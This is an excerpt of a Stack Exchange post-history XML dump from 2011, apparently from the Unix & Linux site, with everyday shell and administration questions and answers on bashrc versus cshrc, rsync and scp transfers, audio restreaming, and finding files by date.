  <row Id="23999" PostHistoryTypeId="2" PostId="10031" RevisionGUID="ba6c6422-be9c-4c51-9831-b478cdfecd6f" CreationDate="2011-03-24T14:23:27.557" UserId="4176" Text="My school has our Linux accounts using csh/tcsh by default. I, however, have a lot setup on my home bashrc and I'd like to use that at school. BUT there's also some important stuff that happens in our cshrc so I'd sort of like to not change my shell on each login. Is there a way for me to call or execute my bashrc within my cshrc and get the same effects or should I find out how to translate my bashrc into cshrc? I don't know crazy of an idea this is - I'm only really used to bashrc personally.&#xD;&#xA;&#xD;&#xA;Thanks for any help!" />
  <row Id="24000" PostHistoryTypeId="1" PostId="10031" RevisionGUID="ba6c6422-be9c-4c51-9831-b478cdfecd6f" CreationDate="2011-03-24T14:23:27.557" UserId="4176" Text="cshrc execute bashrc within itself?" />
  <row Id="24001" PostHistoryTypeId="3" PostId="10031" RevisionGUID="ba6c6422-be9c-4c51-9831-b478cdfecd6f" CreationDate="2011-03-24T14:23:27.557" UserId="4176" Text="éshellàébashàéfedoraàécshà" />
  <row Id="24002" PostHistoryTypeId="25" PostId="10026" RevisionGUID="d04e87d0-49fb-4b1c-9ca0-ab42055c54d1" CreationDate="2011-03-24T14:31:35.083" Comment="http://twitter.com/#!/StackUnix/status/50927743885524992" />
  <row Id="24003" PostHistoryTypeId="2" PostId="10032" RevisionGUID="99d0be0f-4a6f-4f6f-b218-6717d7ec4f5b" CreationDate="2011-03-24T14:35:08.770" UserId="5685" Text="The fujitsu_laptop module dans control acpi for Fujitsu-Siemens laptops does not appear to have fan control code (as of today) see:&#xD;&#xA;&#xD;&#xA;http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=blob;f=drivers/platform/x86/fujitsu-laptop.c&#xD;&#xA;&#xD;&#xA;(You can look at the thinkpad acpi code in the same directory, it has a fan subdriver)&#xD;&#xA;&#xD;&#xA;I don't think it's possible to achieve what you want to do with your hardware." />
  <row Id="24004" PostHistoryTypeId="2" PostId="10033" RevisionGUID="45a4dbc7-3b83-4924-b707-907f512ab9ea" CreationDate="2011-03-24T14:35:50.787" UserId="138" Text="The `.cshrc` and `.bashrc` files are written in the language of the shell itself, and the two languages are not compatible. Further, the things you typically put into these files are commands to affect the startup behavior of the shell, so it's not going to help to make the other shell try to interpret the file.&#xD;&#xA;&#xD;&#xA;You're going to have to translate the file." />
  <row Id="24005" PostHistoryTypeId="2" PostId="10034" RevisionGUID="fc2aaece-8561-446f-8ffc-23695f493597" CreationDate="2011-03-24T14:36:00.007" UserId="5666" Text="I haven't done this before nor tested it nor have thoroughly read the appropriate documentation. And I am not an expert in audio/video codecs and stuff.  So this is more of a &quot;this could work&quot; guide and hopefully others can elaborate.&#xD;&#xA;&#xD;&#xA;I did a quick search on google, trying to find out some tools that will cover the requirements (only command line tools).&#xD;&#xA;&#xD;&#xA; 1. Getting the audio stream from the first server: `icecream`&#xD;&#xA; 1. Decoding from mp3 to wav: `lame`&#xD;&#xA; 1. Your Stereo Tool: `stereo_tool` (hypothetically)&#xD;&#xA; 1. Encoding from wav to mp3: `lame`&#xD;&#xA; 1. Forwarding audio to the second server: `ezstream`&#xD;&#xA;&#xD;&#xA;Assuming that your shoutcast servers are up and running in the same box.  We will make a shell script `stream2stream.sh` that will read from the first, process and forward to the second.&#xD;&#xA;&#xD;&#xA;    $ chmod 750 stream2stream.sh&#xD;&#xA;    $ cat stream2stream.sh&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    icecream --stdout http://localhost:8000 | \&#xD;&#xA;    lame -decode - - | \&#xD;&#xA;    stereo_tool | \&#xD;&#xA;    lame --preset cbr 128 -r -s 44.1 --bitwidth 16 - - | \&#xD;&#xA;    ezstream -c ~/ezstream.xml&#xD;&#xA;&#xD;&#xA;Note that `ezstream` supports re-encoding by letting you define your own encoding/decoding programs. So my script above may be unnecessary and `ezstream` may be sufficient by itself. But I'm not familiar with this tool and so in this implementation we have the simplest configuration.&#xD;&#xA;&#xD;&#xA;    $ cat ~/ezstream.xml&#xD;&#xA;    &lt;ezstream&gt;&#xD;&#xA;        &lt;url&gt;http://localhost:8002&lt;/url&gt;&#xD;&#xA;        &lt;sourcepassword&gt;hackme&lt;/sourcepassword&gt;&#xD;&#xA;        &lt;format&gt;MP3&lt;/format&gt;&#xD;&#xA;        &lt;filename&gt;stdin&lt;/filename&gt;&#xD;&#xA;        &lt;stream_once&gt;1&lt;/stream_once&gt;&#xD;&#xA;    &#xD;&#xA;        &lt;svrinfoname&gt;My Stream&lt;/svrinfoname&gt;&#xD;&#xA;        &lt;svrinfourl&gt;http://yoursiteurl/&lt;/svrinfourl&gt;&#xD;&#xA;        &lt;svrinfogenre&gt;YourGenre&lt;/svrinfogenre&gt;&#xD;&#xA;        &lt;svrinfodescription&gt;This is a stream description&lt;/svrinfodescription&gt;&#xD;&#xA;        &lt;svrinfobitrate&gt;128&lt;/svrinfobitrate&gt;&#xD;&#xA;        &lt;svrinfoquality&gt;2.0&lt;/svrinfoquality&gt;&#xD;&#xA;        &lt;svrinfochannels&gt;2&lt;/svrinfochannels&gt;&#xD;&#xA;        &lt;svrinfosamplerate&gt;44100&lt;/svrinfosamplerate&gt;&#xD;&#xA;        &lt;!-- Disallow the server to advertise the stream on a public YP directory: --&gt;&#xD;&#xA;        &lt;svrinfopublic&gt;0&lt;/svrinfopublic&gt;&#xD;&#xA;    &lt;/ezstream&gt;&#xD;&#xA;&#xD;&#xA;You will have to adjust the parameters on lame and ezstream to your likings. You can execute the script with nohup or in screen.&#xD;&#xA;&#xD;&#xA;    screen -AmdS stereotool stream2stream.sh&#xD;&#xA;" />
  <row Id="24006" PostHistoryTypeId="2" PostId="10035" RevisionGUID="f044dcfb-85b5-4265-af60-5ecf56589637" CreationDate="2011-03-24T14:41:59.100" UserId="4815" Text="I am trying to use wget for downloading files from a ftp repository. The FTP repository has a login and password. I have to go through a proxy server which does not have a login and password. When I try to use the normal, &#xD;&#xA;&#xD;&#xA;`wget -r -c ftp://login:pass@download.site.co.in/`&#xD;&#xA;&#xD;&#xA;I find that it tries to login to the proxy server itself rather than the ftp server causing it to hang at that stage. using `--ftp-user` and `ftp-password` has the same effect. How can I get around this?" />
  <row Id="24007" PostHistoryTypeId="1" PostId="10035" RevisionGUID="f044dcfb-85b5-4265-af60-5ecf56589637" CreationDate="2011-03-24T14:41:59.100" UserId="4815" Text="wget not able to log into ftp" />
  <row Id="24008" PostHistoryTypeId="3" PostId="10035" RevisionGUID="f044dcfb-85b5-4265-af60-5ecf56589637" CreationDate="2011-03-24T14:41:59.100" UserId="4815" Text="éwgetàéproxyà" />
  <row Id="24009" PostHistoryTypeId="2" PostId="10036" RevisionGUID="50319c37-c644-4cd3-b0e4-5e76aae74e28" CreationDate="2011-03-24T14:54:21.277" UserId="4776" Text="I look at the oldest file in /boot (top of &quot;ls -ltr /boot&quot;. Often there is an original boot sector from the first install there. On my oldest system this gives the date of original installation, despite having replaced everything in the machine and copied the contents of the file system around a few times :)" />
  <row Id="24010" PostHistoryTypeId="2" PostId="10037" RevisionGUID="661f3c6f-7e21-4d19-a52f-359833d456b2" CreationDate="2011-03-24T14:54:53.943" UserId="5666" Text="Tar with bzip2 compression should take as much load off the network and on the cpu.&#xD;&#xA;&#xD;&#xA;    $ tar -C /path/to/src/dir -jcf - ./ | ssh user@server 'tar -C /path/to/dest/dir -jxf -'&#xD;&#xA;&#xD;&#xA;Not using `-v` because screen output might slow down the process. But if you want a verbose output use it on the local side of tar (`-jcvf`), not on the remote part.&#xD;&#xA;&#xD;&#xA;If you repeatedly copy over the same destination path, like updating a backup copy, your best choice is rsync with compression.&#xD;&#xA;&#xD;&#xA;    $ rsync -az -e ssh /path/to/src/dir/ user@server:/path/to/dest/dir/&#xD;&#xA;&#xD;&#xA;Notice that both src and dest paths end with a /. Again, not using `-v` and `-P` flags on purpose, add them if you need verbose output." />
  <row Id="24011" PostHistoryTypeId="2" PostId="10038" RevisionGUID="59497c04-ea5f-4bb5-8a27-9f77889e6818" CreationDate="2011-03-24T15:08:20.473" UserId="5664" Text="What command do i have to type to the GNOME-terminal to get the same results as if i clicked on the &quot;Clear Recent Documents&quot; menu? (Fedora 14/GNOME)&#xD;&#xA;&#xD;&#xA;http://i.imgur.com/9M0qp.png" />
  <row Id="24012" PostHistoryTypeId="1" PostId="10038" RevisionGUID="59497c04-ea5f-4bb5-8a27-9f77889e6818" CreationDate="2011-03-24T15:08:20.473" UserId="5664" Text="How can i reach the &quot;Clear Recent Documents&quot; under Fedora? via cmd line?" />
  <row Id="24013" PostHistoryTypeId="3" PostId="10038" RevisionGUID="59497c04-ea5f-4bb5-8a27-9f77889e6818" CreationDate="2011-03-24T15:08:20.473" UserId="5664" Text="élinuxàéfedoraà" />
  <row Id="24014" PostHistoryTypeId="5" PostId="9527" RevisionGUID="d53acbdd-a602-4564-9d54-e7e5cbbe4168" CreationDate="2011-03-24T15:12:50.737" UserId="5664" Comment="added 384 characters in body; added 17 characters in body" Text="Is a good method to encrypt the full disk (like with dm-crypt/AES under Linux)? Can someone please post a small and compact howto?&#xD;&#xA;&lt;br&gt;&#xD;&#xA;i started a bounty to search for every encryption solution in OBSD! (need compact howtos)&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;I'm specially searhing for encryption, because if someone steals my notebook it could get my datas stored on it. Another reason is: i'm not always next to my notebook, so someone could install a &quot;trojan&quot; on it. These are the major 2 reasons why is encryption important on a notebook. Specially if someone is trying to use a Very Secure operating system, like OpenBSD!&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thank you!" />
  <row Id="24015" PostHistoryTypeId="5" PostId="10033" RevisionGUID="dc1d2d4e-0502-4d16-98b2-884a0f7639d5" CreationDate="2011-03-24T15:14:59.640" UserId="138" Comment="added chsh stuff; added 5 characters in body; added 29 characters in body" Text="The `.cshrc` and `.bashrc` files are written in the language of the shell itself, and the two languages are not compatible. Further, the things you typically put into these files are commands to affect the startup behavior of the shell, so it's not going to help to make the other shell try to interpret the file.&#xD;&#xA;&#xD;&#xA;You're either going to have to translate one of the files to the other syntax, or switch your shell.&#xD;&#xA;&#xD;&#xA;You can switch your shell permanently with this command:&#xD;&#xA;&#xD;&#xA;    % chsh -s /bin/bash&#xD;&#xA;&#xD;&#xA;That will let you use your home `.bashrc` on the remote machine. You'll then have to translate your school's `.cshrc` to Bash syntax and add it to your `.bashrc`." />
  <row Id="24016" PostHistoryTypeId="5" PostId="10038" RevisionGUID="ee58eecd-4fc7-43ea-a783-8b036caff79e" CreationDate="2011-03-24T15:21:17.570" UserId="73" Comment="added 32 characters in body; edited tags; edited title; edited tags" Text="What command do I have to type in a terminal to get the same results as if I clicked on the &quot;Clear Recent Documents&quot; menu? (Fedora 14/GNOME)&#xD;&#xA;&#xD;&#xA;![Screenshot of the &quot;clear&quot; menu item](http://i.imgur.com/9M0qp.png)" />
  <row Id="24017" PostHistoryTypeId="4" PostId="10038" RevisionGUID="ee58eecd-4fc7-43ea-a783-8b036caff79e" CreationDate="2011-03-24T15:21:17.570" UserId="73" Comment="added 32 characters in body; edited tags; edited title; edited tags" Text="How can I reach the &quot;Clear Recent Documents&quot; under Fedora via the command-line?" />
  <row Id="24018" PostHistoryTypeId="6" PostId="10038" RevisionGUID="ee58eecd-4fc7-43ea-a783-8b036caff79e" CreationDate="2011-03-24T15:21:17.570" UserId="73" Comment="added 32 characters in body; edited tags; edited title; edited tags" Text="écommandölineàégnomeà" />
  <row Id="24019" PostHistoryTypeId="2" PostId="10039" RevisionGUID="c5102629-d99d-4891-81b0-2e73cdd2ab5a" CreationDate="2011-03-24T15:21:37.367" UserId="5923" Text="How about appending `exec bash` at the end of your `.cshrc` ?&#xD;&#xA;&#xD;&#xA;**Beware**, though, that this is not entirely risk-free, so you might want to do it in one window/session while testing the results in another, so you have a chance of reverting it. (Or have a site admin nearby)." />
  <row Id="24020" PostHistoryTypeId="2" PostId="10040" RevisionGUID="3174fa5a-2ab9-4f8c-8215-0102798bafd9" CreationDate="2011-03-24T15:24:03.920" UserId="4877" Text="So I have a small little Ubuntu server set up, with some rather large files that I've allowed a few people to copy from their putty window.&#xD;&#xA;&#xD;&#xA;Anyways 2 questions:&#xD;&#xA;Lets say a person on windows wants to copy a file using putty from an Ubuntu server. how would they do it? and what directory would it default too? (what would the command be even? would I use SCP?)&#xD;&#xA;&#xD;&#xA;Second question: is there like a limit? these are mostly 1-2gb files. would that cause any issues? Thanks&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24021" PostHistoryTypeId="1" PostId="10040" RevisionGUID="3174fa5a-2ab9-4f8c-8215-0102798bafd9" CreationDate="2011-03-24T15:24:03.920" UserId="4877" Text="SSH Copy Limit?" />
  <row Id="24022" PostHistoryTypeId="3" PostId="10040" RevisionGUID="3174fa5a-2ab9-4f8c-8215-0102798bafd9" CreationDate="2011-03-24T15:24:03.920" UserId="4877" Text="ésshàéfileösharingàécpà" />
  <row Id="24023" PostHistoryTypeId="2" PostId="10041" RevisionGUID="2b7cc1c4-6f9e-4ef8-9a30-de5fc81cd6f2" CreationDate="2011-03-24T15:27:50.517" UserId="393" Text="With `ls` command, does it possible to show only file created after a date, hour...&#xD;&#xA;&#xD;&#xA;I'm asking it because I have a directory with thousand of files.&#xD;&#xA;&#xD;&#xA;I want files created since yesterday. &#xD;&#xA;&#xD;&#xA;I use `ls -ltr` but I have to see all files...&#xD;&#xA;&#xD;&#xA;There is an equivalent of `DIRECTORY/SINCE=date` from OpenVMS ?" />
  <row Id="24024" PostHistoryTypeId="1" PostId="10041" RevisionGUID="2b7cc1c4-6f9e-4ef8-9a30-de5fc81cd6f2" CreationDate="2011-03-24T15:27:50.517" UserId="393" Text="How to get only files created after a date with ls ?" />
  <row Id="24025" PostHistoryTypeId="3" PostId="10041" RevisionGUID="2b7cc1c4-6f9e-4ef8-9a30-de5fc81cd6f2" CreationDate="2011-03-24T15:27:50.517" UserId="393" Text="élsà" />
  <row Id="24026" PostHistoryTypeId="2" PostId="10042" RevisionGUID="bf3dd3d7-8429-4ddf-a425-eca9af04f9d0" CreationDate="2011-03-24T15:32:35.237" UserId="872" Text="You can try [PSCP][1] which comes as part of the PuTTY distribution.&#xD;&#xA;&#xD;&#xA;The usage of `pscp` is:&#xD;&#xA;&#xD;&#xA;    pscp [user@]host:source target&#xD;&#xA;&#xD;&#xA;For example, from a Windows cmd prompt, type the following command to transfer a file to your C: drive.&#xD;&#xA;&#xD;&#xA;    pscp username@host:/path/to/file.txt C:\temp\file.txt&#xD;&#xA;&#xD;&#xA;I don't believe there is a file size limit.&#xD;&#xA;&#xD;&#xA;[1]: http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html&#xD;&#xA;" />
  <row Id="24027" PostHistoryTypeId="2" PostId="10043" RevisionGUID="ac0a65d0-a757-4be9-9e51-f3e8424455c9" CreationDate="2011-03-24T15:41:37.367" UserId="872" Text="You can use the `find` command to find all files that have been modified after a certain number of days.&#xD;&#xA;&#xD;&#xA;For example, to find all files in the current directory that have been modified since yesterday (24 hours ago) use:&#xD;&#xA;&#xD;&#xA;    find . -mtime -1 -ls -maxdepth 1&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24028" PostHistoryTypeId="2" PostId="10044" RevisionGUID="48962976-f031-4e35-bd92-349bb84aab1d" CreationDate="2011-03-24T15:54:19.547" UserId="5286" Text="I am trying to cron an rsync via ssh between two fileservers that are running SME Server 7.4 and Ubuntu 10.10, respectively. The first rsync worked just fine (for reasons that I do not know), but now, well... here's the output:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;[i@i-drive ~]$ rsync -avz -e ssh /home/e-smith/files/ibays/drive-i/files/Warehouse\ Pics/* fm-backup@[hostname removed]:~/img_all/&#xD;&#xA;sending incremental file list&#xD;&#xA;Converted Warehouse Pictures/&#xD;&#xA;rsync: failed to set times on &quot;/home/fm-backup/img_all/Converted Warehouse Pictures&quot;: Operation not permitted (1)&#xD;&#xA;Converted Warehouse Pictures/12903-13099/&#xD;&#xA;rsync: failed to set times on &quot;/home/fm-backup/img_all/Converted Warehouse Pictures/12903-13099&quot;: Operation not permitted (1)&#xD;&#xA;Converted Warehouse Pictures/12903-13099/13038/&#xD;&#xA;rsync: recv_generator: mkdir &quot;/home/fm-backup/img_all/Converted Warehouse Pictures/12903-13099/13038&quot; failed: Permission denied (13)&#xD;&#xA;*** Skipping any contents from this failed directory ***&#xD;&#xA;Converted Warehouse Pictures/30500 - 30600/30677/&#xD;&#xA;rsync: failed to set times on &quot;/home/fm-backup/img_all/Converted Warehouse Pictures/30500 - 30600/30677&quot;: Operation not permitted (1)&#xD;&#xA;Converted Warehouse Pictures/30500 - 30600/30677/P1430928.JPG&#xD;&#xA;Converted Warehouse Pictures/30500 - 30600/30677/P1430929.JPG&#xD;&#xA;rsync: mkstemp &quot;/home/fm-backup/img_all/Converted Warehouse Pictures/30500 - 30600/30677/.P1430928.JPG.8SDmeO&quot; failed: Permission denied (13)&#xD;&#xA;rsync: mkstemp &quot;/home/fm-backup/img_all/Converted Warehouse Pictures/30500 - 30600/30677/.P1430929.JPG.qEfwpI&quot; failed: Permission denied (13)&#xD;&#xA;Converted Warehouse Pictures/30900 - 31000/&#xD;&#xA;rsync: recv_generator: mkdir &quot;/home/fm-backup/img_all/Converted Warehouse Pictures/30900 - 31000&quot; failed: Permission denied (13)&#xD;&#xA;*** Skipping any contents from this failed directory ***&#xD;&#xA;Converted Warehouse Pictures/Tiff's Folder/&#xD;&#xA;rsync: failed to set times on &quot;/home/fm-backup/img_all/Converted Warehouse Pictures/Tiff's Folder&quot;: Operation not permitted (1)&#xD;&#xA;Converted Warehouse Pictures/Tiff's Folder/IMG_3474.JPG&#xD;&#xA;Converted Warehouse Pictures/Tiff's Folder/IMG_3475.JPG&#xD;&#xA;Converted Warehouse Pictures/Tiff's Folder/IMG_3476.JPG&#xD;&#xA;rsync: mkstemp &quot;/home/fm-backup/img_all/Converted Warehouse Pictures/Tiff's Folder/.IMG_3474.JPG.aBPfwH&quot; failed: Permission denied (13)&#xD;&#xA;rsync: mkstemp &quot;/home/fm-backup/img_all/Converted Warehouse Pictures/Tiff's Folder/.IMG_3475.JPG.4rQNSM&quot; failed: Permission denied (13)&#xD;&#xA;rsync: mkstemp &quot;/home/fm-backup/img_all/Converted Warehouse Pictures/Tiff's Folder/.IMG_3476.JPG.EpQJkY&quot; failed: Permission denied (13)&#xD;&#xA;Unconverted Warehouse Pictures/PANA 1430200/Thumbs.db&#xD;&#xA;Unconverted Warehouse Pictures/PANA 1430300/&#xD;&#xA;rsync: failed to set times on &quot;/home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1430300&quot;: Operation not permitted (1)&#xD;&#xA;Unconverted Warehouse Pictures/PANA 1430300/Thumbs.db&#xD;&#xA;Unconverted Warehouse Pictures/PANA 1430400/&#xD;&#xA;rsync: failed to set times on &quot;/home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1430400&quot;: Operation not permitted (1)&#xD;&#xA;Unconverted Warehouse Pictures/PANA 1430400/Thumbs.db&#xD;&#xA;Unconverted Warehouse Pictures/PANA 1430500/&#xD;&#xA;rsync: failed to set times on &quot;/home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1430500&quot;: Operation not permitted (1)&#xD;&#xA;Unconverted Warehouse Pictures/PANA 1430500/Thumbs.db&#xD;&#xA;Unconverted Warehouse Pictures/PANA 1430600/&#xD;&#xA;rsync: failed to set times on &quot;/home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1430600&quot;: Operation not permitted (1)&#xD;&#xA;Unconverted Warehouse Pictures/PANA 1430600/Thumbs.db&#xD;&#xA;Unconverted Warehouse Pictures/PANA 1430700/&#xD;&#xA;rsync: failed to set times on &quot;/home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1430700&quot;: Operation not permitted (1)&#xD;&#xA;Unconverted Warehouse Pictures/PANA 1430700/Thumbs.db&#xD;&#xA;Unconverted Warehouse Pictures/PANA 1430800/&#xD;&#xA;rsync: failed to set times on &quot;/home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1430800&quot;: Operation not permitted (1)&#xD;&#xA;Unconverted Warehouse Pictures/PANA 1430800/Thumbs.db&#xD;&#xA;Unconverted Warehouse Pictures/PANA 1430900/&#xD;&#xA;rsync: failed to set times on &quot;/home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1430900&quot;: Operation not permitted (1)&#xD;&#xA;Unconverted Warehouse Pictures/PANA 1430900/Thumbs.db&#xD;&#xA;Unconverted Warehouse Pictures/PANA 1440000/&#xD;&#xA;rsync: failed to set times on &quot;/home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1440000&quot;: Operation not permitted (1)&#xD;&#xA;Unconverted Warehouse Pictures/PANA 1440000/Thumbs.db&#xD;&#xA;Unconverted Warehouse Pictures/PANA 1440100/&#xD;&#xA;rsync: failed to set times on &quot;/home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1440100&quot;: Operation not permitted (1)&#xD;&#xA;Unconverted Warehouse Pictures/PANA 1440100/Thumbs.db&#xD;&#xA;Unconverted Warehouse Pictures/PANA 1440200/&#xD;&#xA;rsync: failed to set times on &quot;/home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1440200&quot;: Operation not permitted (1)&#xD;&#xA;Unconverted Warehouse Pictures/PANA 1440200/Thumbs.db&#xD;&#xA;rsync: mkstemp &quot;/home/fm-backup/img_all/Unconverted Warehouse Pictures/PANA 1430200/.Thumbs.db.IRLwfB&quot; failed: Permission denied (13)&#xD;&#xA;inflate returned -3 (0 bytes)&#xD;&#xA;rsync error: error in rsync protocol data stream (code 12) at token.c(546) [receiver=3.0.7]&#xD;&#xA;rsync: connection unexpectedly closed (8118 bytes received so far) [sender]&#xD;&#xA;rsync error: error in rsync protocol data stream (code 12) at io.c(601) [sender=3.0.7]&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;(Note: Trust me, I know that TRWTF is the terrible and horrible way that the directory is organized. That's another project for another day.)&#xD;&#xA;&#xD;&#xA;Neither account is root, and I don't want to have to make the accounts root for this to work. &#xD;&#xA;&#xD;&#xA;i@i-drive rsyncs just fine to my OSX fileserver, and from the same folder, even. The account on the OSX box isn't root, either.&#xD;&#xA;&#xD;&#xA;Thanks in advance for any help." />
  <row Id="24029" PostHistoryTypeId="1" PostId="10044" RevisionGUID="48962976-f031-4e35-bd92-349bb84aab1d" CreationDate="2011-03-24T15:54:19.547" UserId="5286" Text="rsync Permissions Problem [Ubuntu 10.10, SME Server 7.4]" />
  <row Id="24030" PostHistoryTypeId="3" PostId="10044" RevisionGUID="48962976-f031-4e35-bd92-349bb84aab1d" CreationDate="2011-03-24T15:54:19.547" UserId="5286" Text="éubuntuàésshàépermissionsàérsyncàésmeöserverà" />
  <row Id="24031" PostHistoryTypeId="5" PostId="10033" RevisionGUID="4709847e-d2fd-4bb9-b991-ce3d72c71f85" CreationDate="2011-03-24T15:55:31.350" UserId="138" Comment="grammar tweaks" Text="The `.cshrc` and `.bashrc` files are written in the language of the shell itself, and the two languages are not compatible. Further, the things you typically put into these files are commands to affect the startup behavior of the shell, so running one shell from the other will only help to a limited degree.&#xD;&#xA;&#xD;&#xA;You're going to have to translate one of the files to the other syntax if you want features from both the site `.cshrc` and your home `.bashrc`.&#xD;&#xA;&#xD;&#xA;If you'd rather convert the site `.cshrc` to work under Bash than the reverse, you can switch your shell permanently on that machine with this command:&#xD;&#xA;&#xD;&#xA;    % chsh -s /bin/bash&#xD;&#xA;&#xD;&#xA;The other option is to translate your home `.bashrc` to C shell syntax and add it to the `.cshrc` file. I wouldn't recommend this since &lt;a href=&quot;http://www.faqs.org/faqs/unix-faq/shell/csh-whynot/&quot;&gt;Csh Programming [is] Considered Harmful&lt;/a&gt;. :)" />
  <row Id="24032" PostHistoryTypeId="5" PostId="9960" RevisionGUID="f076bc34-5065-406e-af44-d773c195026d" CreationDate="2011-03-24T16:02:13.903" UserId="5785" Comment="added tput colors info" Text="This should be enough:&#xD;&#xA;&#xD;&#xA;    $ tput colors&#xD;&#xA;&#xD;&#xA;###tput colors explained:###&#xD;&#xA;If you look at the manpage, you'ill notice this:&#xD;&#xA;&#xD;&#xA;    SYNOPSIS&#xD;&#xA;           tput [-Ttype] capname [parms ... ]&#xD;&#xA;&#xD;&#xA;And...&#xD;&#xA;&#xD;&#xA;       capname&#xD;&#xA;              indicates the capability from the terminfo database.  When term‐&#xD;&#xA;              cap  support is compiled in, the termcap name for the capability&#xD;&#xA;              is also accepted.&#xD;&#xA;&#xD;&#xA;The termcap `colors` is in the terminfo database, so you can ask for it. If you have a zero exit status, then the termcap is compiled in. But if you have somethin like:&#xD;&#xA;&#xD;&#xA;    $ tput unknowntermcap&#xD;&#xA;    tput: unknown terminfo capability 'unknowntermcap'&#xD;&#xA;    $ echo $?&#xD;&#xA;    4&#xD;&#xA;&#xD;&#xA;This shows that unknowntermcap doesn't exist. So, this:&#xD;&#xA;&#xD;&#xA;    $ tput colors&#xD;&#xA;    8&#xD;&#xA;    $ echo $?&#xD;&#xA;    0&#xD;&#xA;&#xD;&#xA;Shows that your command was right.&#xD;&#xA;&#xD;&#xA;###Other useful ways:###&#xD;&#xA;&#xD;&#xA; - In C, you can just use [isatty][1] and see if it's a TTY &#xD;&#xA; - See if it's a dumb terminal looking $TERM variable&#xD;&#xA;&#xD;&#xA;Cheers&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pubs.opengroup.org/onlinepubs/009695399/functions/isatty.html" />
  <row Id="24033" PostHistoryTypeId="5" PostId="9744" RevisionGUID="f0d7a7a5-bd04-4f59-abe2-eeba2b2a42cd" CreationDate="2011-03-24T16:04:28.673" UserId="5914" Comment="improved formatting" Text="Hello, everyone!&#xD;&#xA;&#xD;&#xA;I have an old Toshiba Satellite 4015CDT, with Pentium II MMX, 32MB RAM, 4GB HDD. It also has one USB 1.0 port, parallel and serial ports, a 3.5&quot; floppy drive and a CD-ROM drive (almost dead). I've installed NetBSD on this machine (full install) and now I want to connect it to the Internet. Although it has one PCMCIA modem card in it, it is obviously not an option.&#xD;&#xA;&#xD;&#xA;In order to do that I tried to connect my Realtek RTL8192U wireless adapter, but although the system gives me the device's name (through dmesg) it fails to recognize it as a network adapter. I followed the instructions [here][1] and [here][2] to recompile the kernel with NDIS support (I gave this configuration the name &quot;NDIS&quot;). At compile time I got the following error messages:&#xD;&#xA;&#xD;&#xA;    cc1: warnings being treated as errors&#xD;&#xA;    ../../../../dev/if_ndis/if_ndis.c: In function 'ndis_detach':&#xD;&#xA;    ../../../../dev/if_ndis/if_ndis.c:1187: warning: passing argument 1 of 'mutex_destroy' from incompatible pointer type&#xD;&#xA;    *** Error code 1&#xD;&#xA;    Stop.&#xD;&#xA;    make: stopped in /usr/src/sys/arch/i386/compile/NDIS&#xD;&#xA;&#xD;&#xA;I would very much appreciate any help on this matter. Thanks in advance.&#xD;&#xA;&#xD;&#xA;P.S. If it is of any help, the system was installed by first booting off the installation floppies (&quot;boot1.fs&quot; and &quot;boot2.fs&quot; downloaded from the [official ftp server][3]), and then the packages were copied from a USB flash drive (packages also downloaded from the [ftp server][4]).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freebsd.org/cgi/man.cgi?query=ndis&amp;manpath=NetBSD+5.1&#xD;&#xA;  [2]: http://www.netbsd.org/docs/kernel/&#xD;&#xA;  [3]: ftp://ftp.netbsd.org/pub/NetBSD/NetBSD-5.1/i386/installation/floppy/&#xD;&#xA;  [4]: ftp://ftp.netbsd.org/pub/NetBSD/NetBSD-5.1/i386/binary/sets/" />
  <row Id="24034" PostHistoryTypeId="2" PostId="10045" RevisionGUID="02258af8-023c-4460-8e6f-b016595ac605" CreationDate="2011-03-24T16:21:27.193" UserId="4194" Text="The default will be the home directory of the linux server account being used.  So if a person used `luser@yourserver:foobar.pdf`, then the file would be taken from/placed at ~luser/foobar on yourserver.&#xD;&#xA;&#xD;&#xA;If you do not want people to be able to write to your server, then I suggest locking down the directories/files and/or settings up a callback script inside the .ssh/authorized_keys file." />
  <row Id="24035" PostHistoryTypeId="2" PostId="10046" RevisionGUID="da3c6fd7-4198-4ed9-adf3-a18cbd946495" CreationDate="2011-03-24T17:28:47.057" UserId="6011" Text="Hi,&#xD;&#xA;  Is there any way to keep track of number of attempts made by a user to login into his system?  " />
  <row Id="24036" PostHistoryTypeId="1" PostId="10046" RevisionGUID="da3c6fd7-4198-4ed9-adf3-a18cbd946495" CreationDate="2011-03-24T17:28:47.057" UserId="6011" Text="Program to keep track number of login attempts" />
  <row Id="24037" PostHistoryTypeId="3" PostId="10046" RevisionGUID="da3c6fd7-4198-4ed9-adf3-a18cbd946495" CreationDate="2011-03-24T17:28:47.057" UserId="6011" Text="éloginà" />
